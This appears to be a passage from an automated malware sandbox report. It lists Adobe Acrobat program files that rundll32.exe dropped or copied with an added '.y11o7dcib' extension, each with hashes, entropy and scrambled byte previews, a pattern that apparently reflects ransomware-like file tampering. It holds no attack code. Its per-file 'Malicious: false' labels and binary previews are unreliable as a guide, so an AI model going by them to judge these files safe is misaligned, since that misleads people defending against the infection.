Preview:	..6sI.a............agY6P..g...k/.%..L...[4..>..b....d.....H...........!..L.!This program cannot be run in DOS mode....$.......G.,...B...B...B......B...F...B...A...B...C...B.e...B...G...B.^e..JM#w.n.....)a..i.t.C.$.-8).c.H.-.9..@.f)..5>.....L.CEdjZSQ.....B...@...B.Rich..B.........PE..d...{..d.........." .....J-.......... *........`..............................B.....(qB...`AI..sJ.a......W..>..agY6P@.g...k/.%..\...k.:.J..bI..{e...........?......\A..)... B.Dr...Q5.T....................R5.(....P5.8............`-.p....2<.@....................text....I-......J-.....I..sJ.a......W.}.....86P..h...F/.+..L.[4..>..b...Gd.........ha...p<..b...\<.............@....pdata........?.. ....>.............@..@.didat........B.......@.............@....rsrc...h.....B.I..sJ/!......W..>..a'Y6.n..f..k/.W..L..[@..>C.b....d.....(...................................................................................................................................I..sJ.a......W..>..agY6P@.g...k/.%..L...

C:\Program Files\Adobe\Acrobat DC\Acrobat\DirectInk.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	166154
Entropy (8bit):	7.009484351200873
Encrypted:	false
SSDEEP:	3072:9ixaYrFTuIRVjspwNHe86p7AwXz2A72eibxMNx9YcATuD2:9KaYJyIngpKHn6Kw5tv9CTH
MD5:	7F0115B5A1DDFC0D60788B63814284DA
SHA1:	4B5268E9D458AA606F107DE9649B5CD9FE1E061D
SHA-256:	B917ACF842BF6B3086D28BACCC556DEC2A964B616099CE52D69DB090F0CAC6F4
SHA-512:	E12490C54EE39E1A7DBFF4D289A8EEC9548C4E0A74B44AC1B5BADB0B1467156F14E3787A58A06CBC664DF25544ED28034CC77062ED4FB72DA8282AB4170A1030
Malicious:	false
Preview:	.....".i.b...n<]..`W.^m..).;Sn.Zc.F.Z.zY.".X.ZX3@m.....bd.....E........!..L.!This program cannot be run in DOS mode....$...........v...v...v...r...v...u...v...s...v.Y.s...v.Y.r...v.Y.u...v.G..-....j...kIJ..5....z......8..S#....l.P..,.h......40...%.r.........PE..d....[.c.........." .....`..........P...............................................TX....`A.........................Si..".i.b....<]..bW.\m..6.;.n.Zc7D.._.zY. ...ZX3.o.^/..b.....E....p.......................(...@...8............p...............................text...,_.......`.................. ..`.rdata....i..R.i...o.=]X.`W.^m..).;.n..M.'..Z.z.".X'XX3Tm..$..bd.....E....@....pdata..P....`.......6..............@..@_RDATA...............N..............@..@.rsrc................P..............@..@.1..jA.i.e..o1>]X.`W..o..).;Sn.Zc.F..Z.8Y.".X.ZX3@m.....bd.....E.................................................................................................................................Ci..".i.b..o.<]X.`W.^m..).;Sn.Zc.F.Z.z

C:\Program Files\Adobe\Acrobat DC\Acrobat\DirectInk.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	166154
Entropy (8bit):	7.009484351200873
Encrypted:	false
SSDEEP:	3072:9ixaYrFTuIRVjspwNHe86p7AwXz2A72eibxMNx9YcATuD2:9KaYJyIngpKHn6Kw5tv9CTH
MD5:	7F0115B5A1DDFC0D60788B63814284DA
SHA1:	4B5268E9D458AA606F107DE9649B5CD9FE1E061D
SHA-256:	B917ACF842BF6B3086D28BACCC556DEC2A964B616099CE52D69DB090F0CAC6F4
SHA-512:	E12490C54EE39E1A7DBFF4D289A8EEC9548C4E0A74B44AC1B5BADB0B1467156F14E3787A58A06CBC664DF25544ED28034CC77062ED4FB72DA8282AB4170A1030
Malicious:	false
Preview:	.....".i.b...n<]..`W.^m..).;Sn.Zc.F.Z.zY.".X.ZX3@m.....bd.....E........!..L.!This program cannot be run in DOS mode....$...........v...v...v...r...v...u...v...s...v.Y.s...v.Y.r...v.Y.u...v.G..-....j...kIJ..5....z......8..S#....l.P..,.h......40...%.r.........PE..d....[.c.........." .....`..........P...............................................TX....`A.........................Si..".i.b....<]..bW.\m..6.;.n.Zc7D.._.zY. ...ZX3.o.^/..b.....E....p.......................(...@...8............p...............................text...,_.......`.................. ..`.rdata....i..R.i...o.=]X.`W.^m..).;.n..M.'..Z.z.".X'XX3Tm..$..bd.....E....@....pdata..P....`.......6..............@..@_RDATA...............N..............@..@.rsrc................P..............@..@.1..jA.i.e..o1>]X.`W..o..).;Sn.Zc.F..Z.8Y.".X.ZX3@m.....bd.....E.................................................................................................................................Ci..".i.b..o.<]X.`W.^m..).;Sn.Zc.F.Z.z

C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	134922
Entropy (8bit):	6.832048282312329
Encrypted:	false
SSDEEP:	3072:9Kle3vrs04h9dDntfO1XZzlFA5iBxlhSNwpvl/LZ20ozWqn9F:8Qzs9drMzlOUhSiNFLZyhf
MD5:	7EFD27FC2DC8E3C8C52E6E58FC2E1141
SHA1:	744DE9959973A596F072B24DCF3452833D951125
SHA-256:	ACF4D3F6C2F0176AC250DB589BCC92FBD751565506D02388BB7419A67DCBAC1C
SHA-512:	9CD12BF8BE74F4F18059ABE7303163D8A87B132819E1C19DD7F5F3391D0B12F23D2545271EB04634043F3AA15136A77F112B9A9B349152A0EF3D76423678646E
Malicious:	false
Preview:	.c.c..........L{..Y3.YFe!M..P9j......7F...j.v.!;....)..K.].........!..L.!This program cannot be run in DOS mode....$........1.v.Pc%.Pc%.Pc%.(.%.Pc%C$g$.Pc%C$`$.Pc%C$f$.Pc%C$b$.Pc%.;g$.Pc%..cG`..<e.k/n&y$._..$.P#cb...K.u.:$.+.o6r.'.....$.BSP.q')..K.\.........PE..d...DC,d.........."............................@............................. ............`.........................[).c.......;v...{..Y3.q.d!...P9.......G...j.v6 ;....)..K._..Q..T....................S..(... R..8............0...............................text............................... ..`.rdata.....c...._..+h...{..Y3..Fe!............(F..Nk.v.!;.C..)..K.\.....@....pdata..............................@..@.rsrc...@...........................@..@.reloc..d...........................@..B[9.c.......+v...{..Y3..Fe!M..P9j......7F...j.v.!;....)..K.\.................................................................................................................................[9.c.......+v...{..Y3..Fe!M..P9j.....

C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	134922
Entropy (8bit):	6.832048282312329
Encrypted:	false
SSDEEP:	3072:9Kle3vrs04h9dDntfO1XZzlFA5iBxlhSNwpvl/LZ20ozWqn9F:8Qzs9drMzlOUhSiNFLZyhf
MD5:	7EFD27FC2DC8E3C8C52E6E58FC2E1141
SHA1:	744DE9959973A596F072B24DCF3452833D951125
SHA-256:	ACF4D3F6C2F0176AC250DB589BCC92FBD751565506D02388BB7419A67DCBAC1C
SHA-512:	9CD12BF8BE74F4F18059ABE7303163D8A87B132819E1C19DD7F5F3391D0B12F23D2545271EB04634043F3AA15136A77F112B9A9B349152A0EF3D76423678646E
Malicious:	false
Preview:	.c.c..........L{..Y3.YFe!M..P9j......7F...j.v.!;....)..K.].........!..L.!This program cannot be run in DOS mode....$........1.v.Pc%.Pc%.Pc%.(.%.Pc%C$g$.Pc%C$`$.Pc%C$f$.Pc%C$b$.Pc%.;g$.Pc%..cG`..<e.k/n&y$._..$.P#cb...K.u.:$.+.o6r.'.....$.BSP.q')..K.\.........PE..d...DC,d.........."............................@............................. ............`.........................[).c.......;v...{..Y3.q.d!...P9.......G...j.v6 ;....)..K._..Q..T....................S..(... R..8............0...............................text............................... ..`.rdata.....c...._..+h...{..Y3..Fe!............(F..Nk.v.!;.C..)..K.\.....@....pdata..............................@..@.rsrc...@...........................@..@.reloc..d...........................@..B[9.c.......+v...{..Y3..Fe!M..P9j......7F...j.v.!;....)..K.\.................................................................................................................................[9.c.......+v...{..Y3..Fe!M..P9j.....

C:\Program Files\Adobe\Acrobat DC\Acrobat\ExtendScript.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	795922
Entropy (8bit):	6.948242568161948
Encrypted:	false
SSDEEP:	24576:TKwUGqFGsnsZ8ErDMoc5GVav8HeBNTPvxYKGYrmQ/Rb1:2wtqFGwsZ8E0oc5GVav8HeBNTPpYK8QP
MD5:	EF2A8A5AE76723BB5583D0ED1DA5FFAF
SHA1:	9FDA5F9BFE4B445EE2A5BBD2ACDAB013894AF84E
SHA-256:	A8FC2ACFBE423C1591E461F4788C70FAFA30BC1FD7149A97286EBBF99D5E618B
SHA-512:	539517DC584582B1BA93ACD159B0EBD519CE586AD99F9992892ECB796FF2ED6AD713ACEF9FBB4C15AE32662E181235352B4D0BF076E845DDBE2DA6C0A352A86C
Malicious:	false
Preview:	.U]^.>N.9{0.L.^.."....Yz.t...r,.....b...:..B........Pe...\|W.........!..L.!This program cannot be run in DOS mode....$..........z...)...)...)..H)...)...(...)7..(...)...(...)...)...)...(...)o..vj..8....~$bw ^..57.!..j\.F.[.?..0)....R..P.k.MZ0Ch.=....K..................PE..d...;.%c.........." .................e.......................................@......8e....`A...................^.>N.=k0.^.."......t...r %..r..b......B.......P....TW.. ..t.......T................... ...(... ................................................text............................... ..`.}.?._N.{/4.^..&..Z...z.t...r,......L...[..B.......PK...-\.............@....pdata..0W.......X...~..............@..@.rsrc...............................@..@.reloc..t.... .....................^.>NS={0.^..".....z.t...r,.....b...:..B........Pe...}W....................................................................................................................................^.>N.={0*.^..".....z.t...r,.....

C:\Program Files\Adobe\Acrobat DC\Acrobat\ExtendScript.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	795922
Entropy (8bit):	6.948242568161948
Encrypted:	false
SSDEEP:	24576:TKwUGqFGsnsZ8ErDMoc5GVav8HeBNTPvxYKGYrmQ/Rb1:2wtqFGwsZ8E0oc5GVav8HeBNTPpYK8QP
MD5:	EF2A8A5AE76723BB5583D0ED1DA5FFAF
SHA1:	9FDA5F9BFE4B445EE2A5BBD2ACDAB013894AF84E
SHA-256:	A8FC2ACFBE423C1591E461F4788C70FAFA30BC1FD7149A97286EBBF99D5E618B
SHA-512:	539517DC584582B1BA93ACD159B0EBD519CE586AD99F9992892ECB796FF2ED6AD713ACEF9FBB4C15AE32662E181235352B4D0BF076E845DDBE2DA6C0A352A86C
Malicious:	false
Preview:	.U]^.>N.9{0.L.^.."....Yz.t...r,.....b...:..B........Pe...\|W.........!..L.!This program cannot be run in DOS mode....$..........z...)...)...)..H)...)...(...)7..(...)...(...)...)...)...(...)o..vj..8....~$bw ^..57.!..j\.F.[.?..0)....R..P.k.MZ0Ch.=....K..................PE..d...;.%c.........." .................e.......................................@......8e....`A...................^.>N.=k0.^.."......t...r %..r..b......B.......P....TW.. ..t.......T................... ...(... ................................................text............................... ..`.}.?._N.{/4.^..&..Z...z.t...r,......L...[..B.......PK...-\.............@....pdata..0W.......X...~..............@..@.rsrc...............................@..@.reloc..t.... .....................^.>NS={0.^..".....z.t...r,.....b...:..B........Pe...}W....................................................................................................................................^.>N.={0*.^..".....z.t...r,.....

C:\Program Files\Adobe\Acrobat DC\Acrobat\JP2KLib.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	673034
Entropy (8bit):	7.244270345341591
Encrypted:	false
SSDEEP:	12288:JFWWN7wcpsrhcxF6Bp46+UAaelpSQ3f8BL9a:JFt77p4cxo4cYpSQv8Bxa
MD5:	9D07993937E35E047CC0EDD080FB905F
SHA1:	41C6DFA67E23EE849AD77F18F0309F45A2EE5AB9
SHA-256:	3FFE737647F6E991AB78CB1138B39D894AE4528D4CECA4F3EE4AE1E2EF37A583
SHA-512:	F4335E6C5D974347591964E6DB1BA28C7FCA8ACCD266C183CF8F36176C1AE6F73C35972CD901E63153AD9A7D4692548F12537B74145E0164E71E2EBCF8E2D23A
Malicious:	false
Preview:	B9..#J.<...N..Z..5;8.....N......7{[.`..t3...@."....\|.+....m.........!..L.!This program cannot be run in DOS mode....$.......?-.U{L..{L..{L..r4..wL...4..~L...4..jL...4..sL...4...L..o'..yL..t/..l..:=..IA......<B..... ........1..*f.%.4..{F.K.....z.+....m.........PE..d....{.d.........." .........@..............................................p.......W....`A.........................s.. J.<..N..Z...<;...#G.<.....7.].`..~3f..@.8.....\|.K...m.....T...............................@............................................text............................... ..`.rdata..Y... J.<.q.N..R.U.5;8...L.N........C.[.`.&t3...@.....5.\|.+....m.....@....pdata...7.......8..................@..@.rsrc........P......................@..@.reloc..l....`......................@..B.c.. J.<..N..Z.U.5;8...L.N......7{[.`..t3...@."....\|.+....m..................................................................................................................................c.. J.<..N..Z.U.5;8...L.N......7{[.`

C:\Program Files\Adobe\Acrobat DC\Acrobat\JP2KLib.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	673034
Entropy (8bit):	7.244270345341591
Encrypted:	false
SSDEEP:	12288:JFWWN7wcpsrhcxF6Bp46+UAaelpSQ3f8BL9a:JFt77p4cxo4cYpSQv8Bxa
MD5:	9D07993937E35E047CC0EDD080FB905F
SHA1:	41C6DFA67E23EE849AD77F18F0309F45A2EE5AB9
SHA-256:	3FFE737647F6E991AB78CB1138B39D894AE4528D4CECA4F3EE4AE1E2EF37A583
SHA-512:	F4335E6C5D974347591964E6DB1BA28C7FCA8ACCD266C183CF8F36176C1AE6F73C35972CD901E63153AD9A7D4692548F12537B74145E0164E71E2EBCF8E2D23A
Malicious:	false
Preview:	B9..#J.<...N..Z..5;8.....N......7{[.`..t3...@."....\|.+....m.........!..L.!This program cannot be run in DOS mode....$.......?-.U{L..{L..{L..r4..wL...4..~L...4..jL...4..sL...4...L..o'..yL..t/..l..:=..IA......<B..... ........1..*f.%.4..{F.K.....z.+....m.........PE..d....{.d.........." .........@..............................................p.......W....`A.........................s.. J.<..N..Z...<;...#G.<.....7.].`..~3f..@.8.....\|.K...m.....T...............................@............................................text............................... ..`.rdata..Y... J.<.q.N..R.U.5;8...L.N........C.[.`.&t3...@.....5.\|.+....m.....@....pdata...7.......8..................@..@.rsrc........P......................@..@.reloc..l....`......................@..B.c.. J.<..N..Z.U.5;8...L.N......7{[.`..t3...@."....\|.+....m..................................................................................................................................c.. J.<..N..Z.U.5;8...L.N......7{[.`

C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1113866
Entropy (8bit):	7.23512313293182
Encrypted:	false
SSDEEP:	24576:1rNns2hg72+bFdtRLdyPNGh30mvoWKJDEFwZAgYuQO+Uw:1rgVFdUGcVE+ZAgHaUw
MD5:	2F6EE0887CC6B8A7487CA08831DDBFA1
SHA1:	F96BA9B09EE822905C33C3543EA9F532BC1A1E58
SHA-256:	8E429358DFB0585CB1CCDDC319C8B7F7A86EDBE5A28D89C03CCB4844D826E458
SHA-512:	D550CD7419C74285723CFC94A43EF860D6D4C078B4F194C305E4C1460D756FB7C706F7E856429074190C1183862E267EB88CEB5E9A55A998F563DA442591679C
Malicious:	false
Preview:	y..b:..-`.J..3..?....; q..e....Y...F.........9..G..i.$.l.~............!..L.!This program cannot be run in DOS mode....$........ ..N...N...N......N.e.K...N...O...N...J...N...M...N...H...N...n.x...i....]..Ac.n..V.AD.O...=.-._.*..C5..v.#%.D....+{^......N...L...N.Rich..N.................PE..d...%..c.........."......j...t......@..........@............................. .......=4b:...d.Z.v......; q\.u....Yo..F.........9..G..i.$..~)....... ....p..dt.......)......H.......p.......................(... ...8............................................text...kh......4%(b9..-d.J.v......; .r..z......Fs...d.....9..G..i.$.l.~....data...`S.......F..................@....pdata..dt...p...v...D..............@..@.rsrc... ...........................@..@.reloc..\|_%b9..-d.J.v.......; q\.e.....Y...F.........9..G..i.$.l.~....................................................................................................................................4O%b9..-d.J.v......; q\.e....Y...F...

C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1113866
Entropy (8bit):	7.23512313293182
Encrypted:	false
SSDEEP:	24576:1rNns2hg72+bFdtRLdyPNGh30mvoWKJDEFwZAgYuQO+Uw:1rgVFdUGcVE+ZAgHaUw
MD5:	2F6EE0887CC6B8A7487CA08831DDBFA1
SHA1:	F96BA9B09EE822905C33C3543EA9F532BC1A1E58
SHA-256:	8E429358DFB0585CB1CCDDC319C8B7F7A86EDBE5A28D89C03CCB4844D826E458
SHA-512:	D550CD7419C74285723CFC94A43EF860D6D4C078B4F194C305E4C1460D756FB7C706F7E856429074190C1183862E267EB88CEB5E9A55A998F563DA442591679C
Malicious:	false
Preview:	y..b:..-`.J..3..?....; q..e....Y...F.........9..G..i.$.l.~............!..L.!This program cannot be run in DOS mode....$........ ..N...N...N......N.e.K...N...O...N...J...N...M...N...H...N...n.x...i....]..Ac.n..V.AD.O...=.-._.*..C5..v.#%.D....+{^......N...L...N.Rich..N.................PE..d...%..c.........."......j...t......@..........@............................. .......=4b:...d.Z.v......; q\.u....Yo..F.........9..G..i.$..~)....... ....p..dt.......)......H.......p.......................(... ...8............................................text...kh......4%(b9..-d.J.v......; .r..z......Fs...d.....9..G..i.$.l.~....data...`S.......F..................@....pdata..dt...p...v...D..............@..@.rsrc... ...........................@..@.reloc..\|_%b9..-d.J.v.......; q\.e.....Y...F.........9..G..i.$.l.~....................................................................................................................................4O%b9..-d.J.v......; q\.e....Y...F...

C:\Program Files\Adobe\Acrobat DC\Acrobat\PDFPrevHndlr.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	126218
Entropy (8bit):	6.956908481710477
Encrypted:	false
SSDEEP:	3072:cjGl8QCBiLBUv5q1WSVwQ6L9SZ5wljNNQB3:r8nBilXsg5wXe
MD5:	BB9673D852449A98EA0429B888A0B9F6
SHA1:	C7A7C80B8724A28C17D24FF1FB9326541950F6B1
SHA-256:	F8D5D4F2003AEA341B8480235FF54508B50303A2490158AB28679A8BA67EEB49
SHA-512:	F27205493F0BE93A82EF535DC960CAE17CC49CF74D42931848D7C1C6C17CC922660C89C36EF1FC3071E0E7CE9FE7DFA3AF270ADC020340B10E65F668F1EF1ABF
Malicious:	false
Preview:	..U%.F .g^...d..R...g..21.gb+..F.x.Z..y..[....7..o0..i=s.........!..L.!This program cannot be run in DOS mode....$........\.h.=.;.=.;.=.;.Ea;.=.;.I.:.=.;.I.:.=.;.I.:.=.;.I.:.=.;.V.:.=.;X.6.9{..eZ..^.{_\|...<..\d...lZ.........0..Kf\|.\|...C.....u....<Rich.=.;................PE..d....^.c.........." ................ .....................................................`A...........%.F .gN.\|=.dv.R...gn.21.gb+i.G...Z......Z.....7..o0.-..y1s......)......l....D..T............................E..8............ ..x............................text...<..........................%.F ...,..=.dB.R...gn.21..b+..F.x.Z..y..[...V..o0....q.r..\|..................@..@.data................v..............@....pdata..............................@..@.rsrc....-.................%.F .g^.<=.$X.7....g..21.g`+..F.xq[..y..[....7.or..q<s....................................................................................................................................%.F .g^.\|=.dv.R...gn.21.gb+..F.x.Z.

C:\Program Files\Adobe\Acrobat DC\Acrobat\PDFPrevHndlr.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	126218
Entropy (8bit):	6.956908481710477
Encrypted:	false
SSDEEP:	3072:cjGl8QCBiLBUv5q1WSVwQ6L9SZ5wljNNQB3:r8nBilXsg5wXe
MD5:	BB9673D852449A98EA0429B888A0B9F6
SHA1:	C7A7C80B8724A28C17D24FF1FB9326541950F6B1
SHA-256:	F8D5D4F2003AEA341B8480235FF54508B50303A2490158AB28679A8BA67EEB49
SHA-512:	F27205493F0BE93A82EF535DC960CAE17CC49CF74D42931848D7C1C6C17CC922660C89C36EF1FC3071E0E7CE9FE7DFA3AF270ADC020340B10E65F668F1EF1ABF
Malicious:	false
Preview:	..U%.F .g^...d..R...g..21.gb+..F.x.Z..y..[....7..o0..i=s.........!..L.!This program cannot be run in DOS mode....$........\.h.=.;.=.;.=.;.Ea;.=.;.I.:.=.;.I.:.=.;.I.:.=.;.I.:.=.;.V.:.=.;X.6.9{..eZ..^.{_\|...<..\d...lZ.........0..Kf\|.\|...C.....u....<Rich.=.;................PE..d....^.c.........." ................ .....................................................`A...........%.F .gN.\|=.dv.R...gn.21.gb+i.G...Z......Z.....7..o0.-..y1s......)......l....D..T............................E..8............ ..x............................text...<..........................%.F ...,..=.dB.R...gn.21..b+..F.x.Z..y..[...V..o0....q.r..\|..................@..@.data................v..............@....pdata..............................@..@.rsrc....-.................%.F .g^.<=.$X.7....g..21.g`+..F.xq[..y..[....7.or..q<s....................................................................................................................................%.F .g^.\|=.dv.R...gn.21.gb+..F.x.Z.

C:\Program Files\Adobe\Acrobat DC\Acrobat\PDFSigQFormalRep.pdf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	468520
Entropy (8bit):	7.003824768264677
Encrypted:	false
SSDEEP:	12288:5TaO0hf5AsG743FVNeWWR686aHvEt1uCz2mYQ9ImL6s1nvJaQWgoc4WBAU7dw7Fv:5TROut6ZCkxtSLLb
MD5:	5395CEC7398774D11E43DFA141D0E4DB
SHA1:	F3B8BA37B493540C92449AE3404A8FEDDDB42204
SHA-256:	F967976D0E60F2E9F8FB1F4E08EAD4DAB827E46A0CF73FBF604B1C135DD5B55C
SHA-512:	6B9731FB537F00B00A9781F46B37C49332DA1B4A8FA361AE4FFDF1425CCE437539BB4F7B18E94DB809B77878551BFA2B7BE15F5D15D91F6D45D17A4DABD8DF58
Malicious:	false
Preview:	[.^x....n68.o...=....O.2X..PJ...Vf.j........POwj-d..K...5922/H [ 447 132]>>.endobj. ..12 0 obj.<</DecodeParms<</Columns 4/Predictor 12>>/Filter/FlateDecode/ID[<3EK.^...& .b.(...$..Hd8>T..z.......Gd..........oV.."c...D.`>]/Index[7 13]/Info 6 0 R/Length 48/Prev 5923/Root 8 0 R/Size 20/Type/XRef/W[1 2 1]>>stream..h.bbd.``b`2...6 ..H07.............l...Z...c..U\|a..Py...Db....\E.+...%..G.......j.ef};s..K....9 0 obj.<</Filter/FlateDecode/I 67/Length 53/S 38>>stream..h.b```f``....,.....$...,.......\...S..2..........;....endstream.endo.#.......y.o.C..J\|.....>.T...nN.=...Fw....J..r..@z.xc.6^...o.. 0 obj.<</Contents 11 0 R/CropBox[0 0 612 792]/MediaBox[0 0 612 792]/Parent 5 0 R/Resources 13 0 R/Rotate 0/Type/Page>>.endobj.1Ni...._/......L2...@Kk....i....Ox..$.N......b5Yi.b#U.$.o.Qm>>stream..h..kk.0......}pu.$.J i.n.d.6. .h...`.,...d'.M.ad].{t^I.a... c ......1 .d(.D.s.....d........$.O...W..kiJ].]...%..+.w-.X..\Tsm9....B.o.....a....F.X.G..)..

C:\Program Files\Adobe\Acrobat DC\Acrobat\PDFSigQFormalRep.pdf.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	468520
Entropy (8bit):	7.003824768264677
Encrypted:	false
SSDEEP:	12288:5TaO0hf5AsG743FVNeWWR686aHvEt1uCz2mYQ9ImL6s1nvJaQWgoc4WBAU7dw7Fv:5TROut6ZCkxtSLLb
MD5:	5395CEC7398774D11E43DFA141D0E4DB
SHA1:	F3B8BA37B493540C92449AE3404A8FEDDDB42204
SHA-256:	F967976D0E60F2E9F8FB1F4E08EAD4DAB827E46A0CF73FBF604B1C135DD5B55C
SHA-512:	6B9731FB537F00B00A9781F46B37C49332DA1B4A8FA361AE4FFDF1425CCE437539BB4F7B18E94DB809B77878551BFA2B7BE15F5D15D91F6D45D17A4DABD8DF58
Malicious:	false
Preview:	[.^x....n68.o...=....O.2X..PJ...Vf.j........POwj-d..K...5922/H [ 447 132]>>.endobj. ..12 0 obj.<</DecodeParms<</Columns 4/Predictor 12>>/Filter/FlateDecode/ID[<3EK.^...& .b.(...$..Hd8>T..z.......Gd..........oV.."c...D.`>]/Index[7 13]/Info 6 0 R/Length 48/Prev 5923/Root 8 0 R/Size 20/Type/XRef/W[1 2 1]>>stream..h.bbd.``b`2...6 ..H07.............l...Z...c..U\|a..Py...Db....\E.+...%..G.......j.ef};s..K....9 0 obj.<</Filter/FlateDecode/I 67/Length 53/S 38>>stream..h.b```f``....,.....$...,.......\...S..2..........;....endstream.endo.#.......y.o.C..J\|.....>.T...nN.=...Fw....J..r..@z.xc.6^...o.. 0 obj.<</Contents 11 0 R/CropBox[0 0 612 792]/MediaBox[0 0 612 792]/Parent 5 0 R/Resources 13 0 R/Rotate 0/Type/Page>>.endobj.1Ni...._/......L2...@Kk....i....Ox..$.N......b5Yi.b#U.$.o.Qm>>stream..h..kk.0......}pu.$.J i.n.d.6. .h...`.,...d'.M.ad].{t^I.a... c ......1 .d(.D.s.....d........$.O...W..kiJ].]...%..+.w-.X..\Tsm9....B.o.....a....F.X.G..)..

C:\Program Files\Adobe\Acrobat DC\Acrobat\RTC.der

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1412
Entropy (8bit):	7.609767743814301
Encrypted:	false
SSDEEP:	24:zMQ0w/mIgIChTZu6BWncLJA/aFAKNkqckoIeHOm3TQXsW/Kfux8P48S:Y+/mwwrWcL2/GzkDkoIwkXsW/n8S
MD5:	E3DB0AC5FC6C3204BB3F67B40BC1CC8B
SHA1:	FD57A11DE0D27996C5EC999B2E689E99A00FCFD3
SHA-256:	D999E4A5E72F819BB77AC246067961BF818DE58F5762721E94879C49E075FAC5
SHA-512:	42D0602B9D78B201F5BEC3F70649470520A0C39FADE5A6334203C15DA8031C203A7CFF9461BD489A8BBB77EDE91179D09E313622637341CD564DBBFF8943688C
Malicious:	false
Preview:	..m.w..Rm.G..;.\|..KtT..&1..[m........0.X4.e......@.iJ.@... ..$..VA....k.V..^.QJ...-`j16.Zg..z...q..M.?S.E..q...$.QE....nZ.."..g"..p4..e(.~..i.Q..qj....l\........l..r.........%.PR.....yI...:.TA....k.V..^..f...u.k7...]8..(...{.8..2E.SE....v.PI.....yD.....)..4.n.u..6..H1...}[.0.V_b......\4\|8...gb....i......l.(+..Mi.lj..os.....F.s.H0.WN.....9..q.Sn.b8..(.).nV-8{Q.e...(bi...4:.....5.....).!.{..a..=.w%'..P.......6....l.P.....0...:....\|6._.T..o^Q..e.b......OY..7...- /..p.5.w'..^.3..G. {}.y.....0.eG...6.?..~_..db...`..v....O\6..'.H7.7./9..:..QP....yM..}E.N......D.. .lO...O/..w..;..^...q.)]."U.BM.%.....eO..z........}\|C;.i.Mm....Uw..\|......ATJ\|.@am.......).r_?.+R..Q....~...^k..@...Wl.A..5..l...n.3J...Qk..?..G.3..$E..4.".....rJ.g...]...9..4]..j2A.[5.9.$..r.].5IU..'..V...4.9P.%..6...V;.QT...P.....Lm.Gr...Q...%0[........7.......m...IG}.~..`...j.q..a..Z...S.rj.....V5i.=v.5._2\|FKsS....<VP....x...=k\s.`...Z...8...5I.t...-<.%0.1....k..Y5;l...n..Y..^..vG.8

C:\Program Files\Adobe\Acrobat DC\Acrobat\RTC.der.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1412
Entropy (8bit):	7.609767743814301
Encrypted:	false
SSDEEP:	24:zMQ0w/mIgIChTZu6BWncLJA/aFAKNkqckoIeHOm3TQXsW/Kfux8P48S:Y+/mwwrWcL2/GzkDkoIwkXsW/n8S
MD5:	E3DB0AC5FC6C3204BB3F67B40BC1CC8B
SHA1:	FD57A11DE0D27996C5EC999B2E689E99A00FCFD3
SHA-256:	D999E4A5E72F819BB77AC246067961BF818DE58F5762721E94879C49E075FAC5
SHA-512:	42D0602B9D78B201F5BEC3F70649470520A0C39FADE5A6334203C15DA8031C203A7CFF9461BD489A8BBB77EDE91179D09E313622637341CD564DBBFF8943688C
Malicious:	false
Preview:	..m.w..Rm.G..;.\|..KtT..&1..[m........0.X4.e......@.iJ.@... ..$..VA....k.V..^.QJ...-`j16.Zg..z...q..M.?S.E..q...$.QE....nZ.."..g"..p4..e(.~..i.Q..qj....l\........l..r.........%.PR.....yI...:.TA....k.V..^..f...u.k7...]8..(...{.8..2E.SE....v.PI.....yD.....)..4.n.u..6..H1...}[.0.V_b......\4\|8...gb....i......l.(+..Mi.lj..os.....F.s.H0.WN.....9..q.Sn.b8..(.).nV-8{Q.e...(bi...4:.....5.....).!.{..a..=.w%'..P.......6....l.P.....0...:....\|6._.T..o^Q..e.b......OY..7...- /..p.5.w'..^.3..G. {}.y.....0.eG...6.?..~_..db...`..v....O\6..'.H7.7./9..:..QP....yM..}E.N......D.. .lO...O/..w..;..^...q.)]."U.BM.%.....eO..z........}\|C;.i.Mm....Uw..\|......ATJ\|.@am.......).r_?.+R..Q....~...^k..@...Wl.A..5..l...n.3J...Qk..?..G.3..$E..4.".....rJ.g...]...9..4]..j2A.[5.9.$..r.].5IU..'..V...4.9P.%..6...V;.QT...P.....Lm.Gr...Q...%0[........7.......m...IG}.~..`...j.q..a..Z...S.rj.....V5i.=v.5._2\|FKsS....<VP....x...=k\s.`...Z...8...5I.t...-<.%0.1....k..Y5;l...n..Y..^..vG.8

C:\Program Files\Adobe\Acrobat DC\Acrobat\ReaderUC.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2957074
Entropy (8bit):	7.155190354433142
Encrypted:	false
SSDEEP:	49152:uTuJke56RqTw42B/nczK1Fj0nZGY5azQ+bs0A0iHgzPnvE3RsD81Aa:uiiKwxV1Qza5A0WknvEQa
